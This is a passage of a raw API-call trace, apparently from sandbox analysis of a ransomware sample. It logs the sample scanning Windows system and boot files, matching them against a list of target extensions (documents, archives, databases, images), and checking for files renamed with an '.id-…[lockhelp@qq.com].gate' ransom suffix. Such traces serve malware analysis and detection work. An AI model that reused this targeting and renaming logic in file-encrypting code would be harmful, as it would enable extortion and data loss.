shared\\ink\\pl-PL\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.754] lstrlenW (lpString=".doc") returned 4 [0321.754] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.754] lstrlenW (lpString=".docx") returned 5 [0321.754] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.754] lstrlenW (lpString=".pdf") returned 4 [0321.754] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.754] lstrlenW (lpString=".xls") returned 4 [0321.754] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.754] lstrlenW (lpString=".xlsx") returned 5 [0321.754] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.754] lstrlenW (lpString=".ppt") returned 4 [0321.754] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.754] lstrlenW (lpString=".zip") returned 4 [0321.754] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.754] lstrlenW (lpString=".rar") returned 4 [0321.755] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.755] lstrlenW (lpString=".bz2") returned 4 [0321.755] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.755] lstrlenW (lpString=".7z") returned 3 [0321.755] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.755] lstrlenW (lpString=".dbf") returned 4 [0321.755] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.755] lstrlenW (lpString=".1cd") returned 4 [0321.755] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.755] lstrlenW (lpString=".jpg") returned 4 [0321.755] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.755] lstrlenW (lpString=".doc") returned 4 [0321.755] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.755] lstrlenW (lpString=".docx") returned 5 [0321.755] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.755] lstrlenW (lpString=".pdf") returned 4 [0321.755] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.755] lstrlenW (lpString=".xls") returned 4 [0321.755] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.755] lstrlenW (lpString=".xlsx") returned 5 [0321.755] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.755] lstrlenW (lpString=".ppt") returned 4 [0321.755] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.755] lstrlenW (lpString=".zip") returned 4 [0321.755] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.755] lstrlenW (lpString=".rar") returned 4 [0321.755] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.755] lstrlenW (lpString=".bz2") returned 4 [0321.755] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.756] lstrlenW (lpString=".7z") returned 3 [0321.756] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.756] lstrlenW (lpString=".dbf") returned 4 [0321.756] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.756] lstrlenW (lpString=".1cd") returned 4 [0321.756] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0321.756] lstrlenW (lpString=".jpg") returned 4 [0321.756] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.756] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.756] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.756] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10752) returned 1 [0321.756] CloseHandle (hObject=0x380) returned 1 [0321.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0321.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0321.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0321.757] lstrlenW (lpString=".doc") returned 4 [0321.757] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.757] lstrlenW (lpString=".docx") returned 5 [0321.757] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.757] lstrlenW (lpString=".pdf") returned 4 [0321.757] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.757] lstrlenW (lpString=".xls") returned 4 [0321.757] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.757] lstrlenW (lpString=".xlsx") returned 5 [0321.757] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.757] lstrlenW (lpString=".ppt") returned 4 [0321.757] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0321.757] lstrlenW (lpString=".zip") returned 4 [0321.757] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.757] lstrlenW (lpString=".rar") returned 4 [0321.757] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.757] lstrlenW (lpString=".bz2") returned 4 [0321.757] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.757] lstrlenW (lpString=".7z") returned 3 [0321.757] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0321.757] lstrlenW (lpString=".dbf") returned 4 [0321.757] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0321.757] lstrlenW (lpString=".1cd") returned 4 [0321.757] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0321.757] lstrlenW (lpString=".jpg") returned 4 [0321.757] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0321.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0321.758] lstrlenW (lpString=".doc") returned 4 [0321.758] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.758] lstrlenW (lpString=".docx") returned 5 [0321.758] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.758] lstrlenW (lpString=".pdf") returned 4 [0321.758] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.758] lstrlenW (lpString=".xls") returned 4 [0321.758] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.758] lstrlenW (lpString=".xlsx") returned 5 [0321.758] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.758] lstrlenW (lpString=".ppt") returned 4 [0321.758] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0321.758] lstrlenW (lpString=".zip") returned 4 [0321.758] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.758] lstrlenW (lpString=".rar") returned 4 [0321.758] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.758] lstrlenW (lpString=".bz2") returned 4 [0321.758] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.758] lstrlenW (lpString=".7z") Thread: id = 103 os_tid = 0xc0c [0318.085] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3db0750 [0318.086] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3dc0758 [0318.086] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed790 [0318.086] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4e5788 [0318.086] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed7a8 [0318.086] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x4066020 [0318.088] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed7c0 [0318.088] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed7c0, Size=0x20) returned 0x4e9630 [0318.088] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed7c0 [0318.088] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed7c0, Size=0x20) returned 0x4e97e8 [0318.088] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.089] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.089] Wow64DisableWow64FsRedirection (in: OldValue=0x364ff50 | out: OldValue=0x364ff50*=0x0) returned 1 [0318.089] lstrlenW (lpString="kernel32.dll") returned 12 [0318.089] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9630 | out: hHeap=0x490000) returned 1 [0318.089] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.089] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e97e8 | out: hHeap=0x490000) returned 1 [0318.089] Sleep (dwMilliseconds=0x64) [0318.345] lstrcmpiW (lpString1=".MARKER", lpString2=".gate") returned 1 [0318.345] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0318.345] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0318.347] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=0) returned 1 [0318.347] CloseHandle (hObject=0x324) returned 1 [0318.347] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.347] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.347] lstrlenW (lpString=".doc") returned 4 [0318.348] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString=".docx") returned 5 [0318.348] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0318.348] lstrlenW (lpString=".pdf") returned 4 [0318.348] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString=".xls") returned 4 [0318.348] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString=".xlsx") returned 5 [0318.348] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0318.348] lstrlenW (lpString=".ppt") returned 4 [0318.348] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.348] lstrlenW (lpString=".zip") returned 4 [0318.348] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString=".rar") returned 4 [0318.348] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString=".bz2") returned 4 [0318.348] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString=".7z") returned 3 [0318.348] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0318.348] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.348] lstrlenW (lpString=".dbf") returned 4 [0318.348] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.348] lstrlenW (lpString=".1cd") returned 4 [0318.348] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.348] lstrlenW (lpString=".jpg") returned 4 [0318.348] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0318.348] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.348] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.348] lstrlenW (lpString=".doc") returned 4 [0318.349] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString=".docx") returned 5 [0318.349] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0318.349] lstrlenW (lpString=".pdf") returned 4 [0318.349] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString=".xls") returned 4 [0318.349] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString=".xlsx") returned 5 [0318.349] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0318.349] lstrlenW (lpString=".ppt") returned 4 [0318.349] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.349] lstrlenW (lpString=".zip") returned 4 [0318.349] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString=".rar") returned 4 [0318.349] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString=".bz2") returned 4 [0318.349] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString=".7z") returned 3 [0318.349] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0318.349] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.349] lstrlenW (lpString=".dbf") returned 4 [0318.349] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.349] lstrlenW (lpString=".1cd") returned 4 [0318.349] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0318.349] lstrlenW (lpString=".jpg") returned 4 [0318.349] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0318.349] lstrlenW (lpString="BCD") returned 3 [0318.349] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.350] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.350] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.350] lstrlenW (lpString=".doc") returned 4 [0318.350] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0318.350] lstrlenW (lpString=".docx") returned 5 [0318.350] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0318.350] lstrlenW (lpString=".pdf") returned 4 [0318.350] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0318.350] lstrlenW (lpString=".xls") returned 4 [0318.350] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0318.350] lstrlenW (lpString=".xlsx") returned 5 [0318.350] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0318.350] lstrlenW (lpString=".ppt") returned 4 [0318.350] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0318.350] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.350] lstrlenW (lpString=".zip") returned 4 [0318.350] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0318.350] lstrlenW (lpString=".rar") returned 4 [0318.350] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0318.350] lstrlenW (lpString=".bz2") returned 4 [0318.350] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0318.350] lstrlenW (lpString=".7z") returned 3 [0318.350] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0318.350] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.350] lstrlenW (lpString=".dbf") returned 4 [0318.350] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0318.350] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.350] lstrlenW (lpString=".1cd") returned 4 [0318.350] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0318.350] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.350] lstrlenW (lpString=".jpg") returned 4 [0318.350] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.351] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.351] lstrlenW (lpString=".doc") returned 4 [0318.351] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString=".docx") returned 5 [0318.351] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0318.351] lstrlenW (lpString=".pdf") returned 4 [0318.351] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString=".xls") returned 4 [0318.351] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString=".xlsx") returned 5 [0318.351] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0318.351] lstrlenW (lpString=".ppt") returned 4 [0318.351] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.351] lstrlenW (lpString=".zip") returned 4 [0318.351] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString=".rar") returned 4 [0318.351] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString=".bz2") returned 4 [0318.351] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString=".7z") returned 3 [0318.351] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0318.351] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.351] lstrlenW (lpString=".dbf") returned 4 [0318.351] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.351] lstrlenW (lpString=".1cd") returned 4 [0318.351] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0318.351] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0318.351] lstrlenW (lpString=".jpg") returned 4 [0318.351] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0318.352] lstrcmpiW (lpString1=".LOG1", lpString2=".gate") returned 1 [0318.352] lstrlenW (lpString="BCD.LOG1") returned 8 [0318.352] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0318.353] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=0) returned 1 [0318.353] CloseHandle (hObject=0x324) returned 1 [0318.353] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.353] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.353] lstrlenW (lpString=".doc") returned 4 [0318.353] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0318.353] lstrlenW (lpString=".docx") returned 5 [0318.353] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0318.353] lstrlenW (lpString=".pdf") returned 4 [0318.353] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0318.353] lstrlenW (lpString=".xls") returned 4 [0318.353] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0318.353] lstrlenW (lpString=".xlsx") returned 5 [0318.353] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0318.353] lstrlenW (lpString=".ppt") returned 4 [0318.353] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0318.353] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.353] lstrlenW (lpString=".zip") returned 4 [0318.354] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0318.354] lstrlenW (lpString=".rar") returned 4 [0318.354] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0318.354] lstrlenW (lpString=".bz2") returned 4 [0318.354] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0318.354] lstrlenW (lpString=".7z") returned 3 [0318.354] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0318.354] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.354] lstrlenW (lpString=".dbf") returned 4 [0318.354] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0318.354] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.354] lstrlenW (lpString=".1cd") returned 4 [0318.354] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0318.354] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.354] lstrlenW (lpString=".jpg") returned 4 [0318.354] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0318.354] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.354] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.354] lstrlenW (lpString=".doc") returned 4 [0318.354] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0318.354] lstrlenW (lpString=".docx") returned 5 [0318.354] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0318.354] lstrlenW (lpString=".pdf") returned 4 [0318.354] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0318.354] lstrlenW (lpString=".xls") returned 4 [0318.354] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0318.354] lstrlenW (lpString=".xlsx") returned 5 [0318.354] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0318.354] lstrlenW (lpString=".ppt") returned 4 [0318.355] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0318.355] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.355] lstrlenW (lpString=".zip") returned 4 [0318.355] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0318.355] lstrlenW (lpString=".rar") returned 4 [0318.355] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0318.355] lstrlenW (lpString=".bz2") returned 4 [0318.355] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0318.355] lstrlenW (lpString=".7z") returned 3 [0318.355] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0318.355] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.355] lstrlenW (lpString=".dbf") returned 4 [0318.355] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0318.355] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.355] lstrlenW (lpString=".1cd") returned 4 [0318.355] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0318.355] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0318.355] lstrlenW (lpString=".jpg") returned 4 [0318.355] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0318.355] lstrcmpiW (lpString1=".LOG2", lpString2=".gate") returned 1 [0318.355] lstrlenW (lpString="BCD.LOG2") returned 8 [0318.355] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0318.355] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=0) returned 1 [0318.355] CloseHandle (hObject=0x324) returned 1 [0318.355] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.356] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.356] lstrlenW (lpString=".doc") returned 4 [0318.356] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString=".docx") returned 5 [0318.356] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0318.356] lstrlenW (lpString=".pdf") returned 4 [0318.356] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString=".xls") returned 4 [0318.356] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString=".xlsx") returned 5 [0318.356] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0318.356] lstrlenW (lpString=".ppt") returned 4 